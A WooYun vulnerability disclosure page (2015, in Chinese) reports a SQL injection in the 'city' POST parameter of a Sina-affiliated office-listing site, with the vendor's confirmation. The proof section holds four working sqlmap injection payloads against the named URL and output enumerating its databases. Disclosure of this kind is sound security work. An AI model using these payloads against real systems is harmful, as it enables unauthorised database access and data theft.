当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098470

漏洞标题:新浪某站存在SQL注入

相关厂商:新浪

漏洞作者: 小邪

提交时间:2015-02-26 21:31

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-26: 细节已通知厂商并且等待厂商处理中
2015-02-27: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向核心白帽子及相关领域专家公开
2015-03-19: 细节向普通白帽子公开
2015-03-29: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

新浪某站存在SQL注入

详细说明:

问题站:http://data.xiezilou.com(http://bj.office.sina.com.cn)
问题处:http://data.xiezilou.com/index.php/?c=building&a=postScore&

city=bj&hid=3267&num=0%2C0%2C0%2C0%2C0%2C0%2C12.5%2C0


POST下参数city存在注入

漏洞证明:

Place: POST
Parameter: city
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: city=bj' RLIKE IF(1358=1358,0x626a,0x28) AND 'QVHv'='QVHv&hid=3267&
num=0,0,0,0,0,0,12.5,0
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: city=bj' AND (SELECT 7030 FROM(SELECT COUNT(*),CONCAT(0x3a6f786d3a,
(SELECT (CASE WHEN (7030=7030) THEN 1 ELSE 0 END)),0x3a796f663a,FLOOR(RAND(0)*2)
)x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'uVwS'='uVwS&hid=326
7&num=0,0,0,0,0,0,12.5,0
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: city=bj'; SELECT SLEEP(10)-- &hid=3267&num=0,0,0,0,0,0,12.5,0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: city=bj' AND SLEEP(10) AND 'KWCc'='KWCc&hid=3267&num=0,0,0,0,0,0,12
.5,0
---
[21:05:55] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:05:55] [INFO] fetching database names
[21:05:55] [INFO] the SQL query used returns 3 entries
[21:05:55] [INFO] retrieved: information_schema
[21:05:55] [INFO] retrieved: biz_sydc_sina_com_cn
[21:05:55] [INFO] retrieved: test
available databases [3]:
[*] biz_sydc_sina_com_cn
[*] information_schema
[*] test

修复方案:

你们比我懂

版权声明:转载请注明来源 小邪@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-02-27 09:54

厂商回复:

感谢支持,已经通知第三方合作业务进行修复

最新状态:

暂无